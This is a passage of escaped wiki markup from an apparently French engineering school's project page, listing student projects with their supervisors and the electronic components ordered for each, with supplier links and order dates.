| P28 [[Imprimante 3D multi-fils]]&lt;br /&gt;
| Antoine Urquizar / Alexandre Boé&lt;br /&gt;
| Antonin CLAUS / Cédric DUVAL&lt;br /&gt;
|-&lt;br /&gt;
| P29 [[Aide anti-gaspillage alimentaire]]&lt;br /&gt;
| Alexandre Boé / Thomas Vantroys&lt;br /&gt;
| Florian GIOVANNANGELI / Pierre FITOUSSI&lt;br /&gt;
|-&lt;br /&gt;
| P30 [[Micro-robots auto-organisés]]&lt;br /&gt;
| Alexandre Boé / Xavier Redon&lt;br /&gt;
| Corentin CASIER / Julie DEBOCK&lt;br /&gt;
|-&lt;br /&gt;
| P32 [[Veilleuse enfant connecté]]&lt;br /&gt;
| Thomas Vantroys&lt;br /&gt;
| Romain RUET / Julien BIELLE&lt;br /&gt;
|-&lt;br /&gt;
| P34 [[Jeu de plateforme tangible]]&lt;br /&gt;
| Alexandre Boé / Thomas Vantroys&lt;br /&gt;
| Stéphane MAIA / Maxime SZWECHOWIEZ&lt;br /&gt;
|-&lt;br /&gt;
| P37 [[Interface de communication entre robots]]&lt;br /&gt;
| Vincent Coelen / Rochdi Merzouki&lt;br /&gt;
| Vianney PAYELLE&lt;br /&gt;
|-&lt;br /&gt;
| P38 [[Hydroponie]]&lt;br /&gt;
| Alexandre Boé&lt;br /&gt;
| Nicolas WEGRZYN&lt;br /&gt;
|-&lt;br /&gt;
| P39 [[Dirigeable publicitaire]]&lt;br /&gt;
| Xavier Redon&lt;br /&gt;
| Julien JOIGNAUX / Loïc DELECROIX&lt;br /&gt;
|-&lt;br /&gt;
| P41 [[Drone et occulus rift]]&lt;br /&gt;
| Jérémie Dequidt &lt;br /&gt;
| Geoffrey PIEKACZ / Nathan RICHEZ&lt;br /&gt;
|-&lt;br /&gt;
| P42 [[Mini-drones]]&lt;br /&gt;
| Xavier Redon&lt;br /&gt;
| Valentin TAFFIN / Alexandre CUADROS&lt;br /&gt;
|-&lt;br /&gt;
| P43 [[SmartMeter, gestion de consommation électrique]]&lt;br /&gt;
| Guillaume Renault / Alexandre Boé / Xavier Redon&lt;br /&gt;
| Haroun ABDELALI&lt;br /&gt;
|-&lt;br /&gt;
| P44 [[Le marteau de Thor]]&lt;br /&gt;
| Emanuelle Pichonat&lt;br /&gt;
| Matthieu HERWEGH / Kevin LE VAN PHUNG&lt;br /&gt;
|-&lt;br /&gt;
| P45 [[Orchestre électronique]]&lt;br /&gt;
| Lucas Prieux / Xavier Redon / Thomas Vantroys	&lt;br /&gt;
| Thomas ROJ / Joshua LETELLIER&lt;br /&gt;
|-&lt;br /&gt;
| P47 [[Commande d'une suspension magnétique]]&lt;br /&gt;
| Aziz Nakrachi&lt;br /&gt;
| Hongyu ZHANG / Weixing JIN&lt;br /&gt;
|-&lt;br /&gt;
| P50 [[Démonstrateur réseau]]&lt;br /&gt;
| Xavier Redon&lt;br /&gt;
| Charlène DACOSTA NETO&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Matériel à acquérir ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Projet !! Matériel&lt;br /&gt;
|-&lt;br /&gt;
| P0 [[Commande USB par micro-contrôleur]]&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| P4 [[Train de véhicules]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;LEDs IR (x20), RS [http://fr.rs-online.com/web/p/led-ir/6548334/]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Phototransistors IR (x20), RS [http://fr.rs-online.com/web/p/phototransistors/6548047/]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Drivers moteur Pololu (x1), GoTronic [http://www.gotronic.fr/art-commande-de-2-moteurs-tb6612fng-2x1a-21716.htm]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Drivers moteur TB6612FNG (x3), Mouser [http://www.mouser.fr/ProductDetail/Toshiba/TB6612FNGOC8EL/?qs=VMlqFFbv3sQEQqYF0HJbow%3D%3D], &amp;lt;/span&amp;gt; &amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Borniers à vis (x15), Farnell [http://fr.farnell.com/camdenboss/ctb0502-2/bornier-carte-a-fil-2-voies-12awg/dp/2493622?MER=en-me-sr-b-all]&amp;lt;/span&amp;gt;, &amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Résistances 220 Ohms CMS (x6), Mouser [http://www.mouser.fr/ProductDetail/Vishay-Dale/CRCW0603220RFKEA/?qs=sGAEpiMZZMtlubZbdhIBIKySljYCMs0HAiopx1mcVY0%3d], &amp;lt;/span&amp;gt; &amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Résistances 470 kOhms CMS (x20), Mouser [http://www.mouser.fr/ProductDetail/Panasonic/ERJ-3GEYJ474V/?qs=sGAEpiMZZMtlubZbdhIBIDkNbKahCB4%252bXwMzav7V8qQ%3d],&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;LEDs couleur (x10), RS [http://fr.rs-online.com/web/p/led/8134845/]&amp;lt;/span&amp;gt;, &amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Fils m-m (x1 lot de 65), Farnell [http://fr.farnell.com/multicomp/mcbbj65/assortiment-de-jumper-fil-65pcs/dp/2396146]&amp;lt;/span&amp;gt;, &amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Capas 10uF CMS (x10) Mouser [http://www.mouser.fr/ProductDetail/Murata-Electronics/ZRB18AR61C106ME01L/?qs=sGAEpiMZZMs0AnBnWHyRQPHsfd5klL7FP%2fi0oh%252bVTwkomqr6NYKsqQ%3d%3d], &amp;lt;/span&amp;gt; &amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Capas 0.1uF CMS (x10) Mouser [http://www.mouser.fr/ProductDetail/Kemet/C0603C104K4RACTU/?qs=sGAEpiMZZMs0AnBnWHyRQFqPnX0OlvcoGdtRY%252bgH1%2fs%3d],&amp;lt;/span&amp;gt; &amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Embases CI 40 contacts 1 rangée (x4) RS [http://fr.rs-online.com/web/p/embases-de-circuit-imprime/4232841/]&amp;lt;/span&amp;gt;, &amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Arduino Uno (x3) [01/02/2016], &amp;lt;br\&amp;gt;&lt;br /&gt;
ESP8266 (x1) [01/02/2016], &amp;lt;br\&amp;gt;&lt;br /&gt;
Chassis 2WD (x4) [01/02/2016], &amp;lt;br\&amp;gt;&lt;br /&gt;
Capteurs Ultrasons SR04 (x3) [01/02/2016], &amp;lt;br\&amp;gt;&lt;br /&gt;
Piles ou accumulateurs (x16 à 1.5V) [01/02/2016], &amp;lt;/span&amp;gt; &amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Odomètres codeurs (x8) [03/02/2016]&amp;lt;/span&amp;gt;, &amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Boutons poussoirs (x3) [01/02/2016]&amp;lt;/span&amp;gt;, &amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Shield Arduino + Breadboard (x3) [01/02/2016]&amp;lt;/span&amp;gt;, &amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Colliers de serrage [01/02/2016]&amp;lt;/span&amp;gt;. &amp;lt;br /&amp;gt;&lt;br /&gt;
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P4.ods]].&lt;br /&gt;
|-&lt;br /&gt;
| P5 [[Imprimante 3D à chocolat]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Electrovanne, RS [18/04/2016]&amp;lt;/span&amp;gt; [http://fr.rs-online.com/web/p/vannes-solenoides/2551496683/],&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Capteur de température, Mouser [14/03/2016]&amp;lt;/span&amp;gt; [http://www.mouser.fr/ProductDetail/Microchip-Technology/TC1047VNBTR/?qs=sGAEpiMZZMucenltShoSnjkfRJmEyKRQimeb4yJa%2fn8%3d],&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Fil résistif, RS [29/02/2016]&amp;lt;/span&amp;gt;[http://fr.rs-online.com/web/p/cable-industriel-multiconducteur/7496348/],&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Tuyau Clair, Diam.int 2,8mm, RS [29/02/2016]&amp;lt;/span&amp;gt;[http://fr.rs-online.com/web/p/tuyaux-dair/7747018/],&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Capteur de pression, Mouser [14/03/2016]&amp;lt;/span&amp;gt; [http://www.mouser.fr/ProductDetail/EPCOS-TDK/B58601E3215B580/?qs=sGAEpiMZZMvhQj7WZhFIAEcnfodwemFjFFuwDryPIpY%3d],&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Tube en cuivre, Diam.int 26mm, Leroy Merlin [20/04/2016]&amp;lt;/span&amp;gt;[http://www.leroymerlin.fr/v3/p/produits/tube-d-alimentation-cuivre-diam-26-x-28-mm-en-barre-de-1-m-e8989],&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Raccord en té, RS [29/02/2016]&amp;lt;/span&amp;gt;[http://fr.rs-online.com/web/p/adaptateurs-tube-a-tube-en-t/7715752/],&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:orange&amp;quot;&amp;gt;Ventilateurs type PC,&amp;lt;/span&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
Imprimante 3D, Fabricarium,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:orange&amp;quot;&amp;gt;Raccords et buses, imprimés 3D,&amp;lt;/span&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Arduino UNO [04/02/2016]&amp;lt;/span&amp;gt;.&amp;lt;br/&amp;gt;&lt;br /&gt;
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P5.ods]].&lt;br /&gt;
|-&lt;br /&gt;
| P6 [[Zone de sécurité pour vélo]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Module Laser ligne (x3), Gotronic [http://www.gotronic.fr/art-module-laser-hlm1230-19016.htm], REÇU [02/03/2016], &amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Raspberry Pi 2 [01/02/2016]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Module caméra pour Raspberry Pi [01/02/2016] &amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Dongle Bluetooth [01/02/2016] &amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Batterie(Accus), RS [http://fr.rs-online.com/web/p/batteries-externes/7757508/], REÇU [22/02/2016], &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Embase à connecteur USB (x4 femelle) (x4 mâle) [01/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Cordon USB mâle-femelle (x4), Gotronic [http://www.gotronic.fr/art-cordon-2m-cw091b-15249.htm], REÇU [02/03/2016], &amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Téléphone sous Android [01/02/2016] &amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Capteur de distance (ultrasons), Gotronic [http://www.gotronic.fr/art-module-de-detection-us-hc-sr04-20912.htm], REÇU [02/03/2016], &amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; LED neopixel*8 (x4), Mouser [http://www.mouser.fr/ProductDetail/Adafruit/1426/?qs=sGAEpiMZZMu%252bmKbOcEVhFQfi8wYXkauJZrA7E1oPdUbRYeHGihkBqQ%3d%3d],  REÇU [14/03/2016], &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P6.ods]].&lt;br /&gt;
|-&lt;br /&gt;
| P7 [[Journée IMA]]&lt;br /&gt;
| &lt;br /&gt;
Plaques de plexiglas (x5) (à part Gotronic, aucun magasin ne le propose) [http://www.gotronic.fr/art-plaque-lexan-lex20-11856.htm], &amp;lt;br/&amp;gt;&lt;br /&gt;
Réseau de 8 transistors ULN2803A (x4), Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/ULN2803A/?qs=sGAEpiMZZMvAvBNgSS9LqpP7ived4CP2] &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Résistance 10kohm  (x75)&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Résistance 1kohm (x25), MAGASIN POLYTECH  [http://melectro.polytech-lille.net/main.php?p=consultation&amp;amp;np=3]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
AOP 74HC574 (x15), Mouser (pas de stock en MAGASIN) [http://www.mouser.fr/ProductDetail/Texas-Instruments/SN74HC574N/?qs=sGAEpiMZZMvxP%252bvr8KwMwBnwYCvkZxeQoMRe0GOGaSg%3d],&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;AOP 74HC138 (x4), MAGASIN POLYTECH &amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Condensateur 22pF (x5), Magasin Polytech  [http://melectro.polytech-lille.net/main.php?p=consultation&amp;amp;np=7]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Condensateur 1uF (x25), Magasin Polytech  [http://melectro.polytech-lille.net/main.php?p=consultation]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Condensateur 10uF (x4), Magasin Polytech [http://melectro.polytech-lille.net/main.php?p=consultation&amp;amp;np=4]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Condensateur 100uF (x3)&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
Reseaux de résistance 10kohm (x5), farnell [http://fr.farnell.com/vishay/vsor1601103jtf/reseau-de-resistance-10k/dp/1203468],&amp;lt;br/&amp;gt;&lt;br /&gt;
Transistor (x25), farnell [http://fr.farnell.com/on-semiconductor/bc548brl1g/transistor-npn-30v-100ma-to-92/dp/2317545],&amp;lt;br/&amp;gt;&lt;br /&gt;
Microcontroleur MBED (x1), RS [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7039238/],&amp;lt;br/&amp;gt;&lt;br /&gt;
Supercondensateur (x4), Mouser [http://www.mouser.fr/ProductDetail/KEMET-NEC-Tokin/FG0H474ZF/?qs=sGAEpiMZZMuDCPMZUZ%252bYl5h6rep0zAk%2fMm3EuX534JE%3d], &amp;lt;br/&amp;gt;&lt;br /&gt;
LED IR, (x6), RS [http://fr.rs-online.com/web/p/led-ir/8108247/], &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;LED (x15)&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
Mini moteur électrique (x3), gotronic [http://www.gotronic.fr/art-moteur-miniature-rm2-avec-pignon-12009.htm],&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;support d'AOP (x15) (Magasin électronique POLYTECH Lille) &amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;E-theremin (projet IMA4 2014-2015)&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Arduino UNO &amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Raspberry PI &amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;BreadBoard &amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Dé électronique communicant(projet IMA4 2014-2015)&amp;lt;/span&amp;gt;.&amp;lt;br/&amp;gt;&lt;br /&gt;
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P7.ods]]&lt;br /&gt;
|-&lt;br /&gt;
| P9 [[Tableau blanc interactif]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Manette Wiimote [27/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:orange&amp;quot;&amp;gt;Vidéo projecteur&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Adaptateur Bluetooth USB [27/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Led infrarouge [27/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Raspberry Pi [03/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
1 pile AA 1,5V, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Bouton poussoir (x1) [10/02/2016], Mouser [http://www.mouser.fr/ProductDetail/Omron-Electronics/B3S-1000P/?qs=sGAEpiMZZMsgGjVA3toVBDH9cQtfNNTKrsn4PC4ePBA%3d].&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;clé wi-fi [23/03/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| P10 [[Réseau de capteurs longue distance]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;50 aimants néodyne épaisseur 1,5mm, diamètre 3mm &amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;connecteurs (ICSP) &amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:orange&amp;quot;&amp;gt;1 embase USB &amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:black&amp;quot;&amp;gt;1 plaque MDF pour les pièces de puzzle&amp;lt;/span&amp;gt;. &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Partie Micro-contrôleur :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:black&amp;quot;&amp;gt;micro-contrôleur de type ATMEGA328P, FARNELL [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 quartz, FARNELL [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:black&amp;quot;&amp;gt;1 résistance 1MΩ ,FARNELL [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 résistance 1KΩ ,FARNELL [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 bouton poussoir (RESET)&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 LED jaune [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&amp;lt;/span&amp;gt;. &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Partie Alimentation :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 capacité 1uF, FARNELL[http://fr.farnell.com/multicomp/mc0603x105k160ct/condensateur-mlcc-x5r-1uf-16v/dp/1759407]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 diode, FARNELL[http://fr.farnell.com/bourns/cd0603-s01575/diode-signal-150ma-100v-603/dp/1456535]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 LED verte, FARNELL[http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;2 capacités de découplage 47uF, FARNELL[http://fr.farnell.com/panasonic-electronic-components/eeefp1e470ap/condensateur-elec-alu-47uf-25v/dp/1539485]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 résistance 500Ω, FARNELL[http://fr.farnell.com/multicomp/mcwr06x4993ftl/resistance-thick-film-499kohm/dp/2447379]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 transistor, FARNELL [http://fr.farnell.com/fairchild-semiconductor/fdn340p/transistor-mosfet-p-sot-23/dp/9846310]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 amplificateur, FARNELL [http://fr.farnell.com/stmicroelectronics/lm358d/ampli-op-double-puissance-cms/dp/1366578]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:black&amp;quot;&amp;gt;1 régulateur de tension 3,3V ,FARNELL [http://fr.farnell.com/texas-instruments/lp2985-33dbvr/ldo-fixe-3-3v-0-15a-sot-23-5/dp/2395925]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 régulateur de tension 5V, FARNELL [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 support de piles 9V à souder, FARNELL [http://fr.farnell.com/keystone/1023/battery-holder-dual-aaa-cell-through/dp/1888397]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:orange&amp;quot;&amp;gt;6 piles de 1,5V(AAA)&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:orange&amp;quot;&amp;gt;1 pile de 9V&amp;lt;/span&amp;gt;. &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Partie commune :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;6 capacités 100nF,FARNELL [http://fr.farnell.com/taiyo-yuden/emk107b7104ka-t/ceramic-capacitor-0-1uf-16v-x7r/dp/1683646]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 résistance 10KΩ FARNELL [http://fr.farnell.com/multicomp/mcwr06x1002ftl/res-couche-epaisse-10k-1-0-1w/dp/2447230]&amp;lt;/span&amp;gt;. &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Partie radio :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Module radio de type RF-LORA-868-SO, RS ONLINE [http://fr.rs-online.com/web/p/modules-rf-faible-consommation/9033059/]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:orange&amp;quot;&amp;gt;1 fil de cuivre pour antenne&amp;lt;/span&amp;gt;.&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:black&amp;quot;&amp;gt; TOUS LES COMPOSANTS ELECTRONIQUES SONT DES CMS (composants montés en surface) &amp;lt;/span&amp;gt;.&amp;lt;br/&amp;gt;&lt;br /&gt;
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P10.ods]].&lt;br /&gt;
|-&lt;br /&gt;
| P12 [[Robots mobiles pour Arduino]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;2 moteurs [03/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 capteur ultrasons [29/02/16]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 capteur de température [09/03/16]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
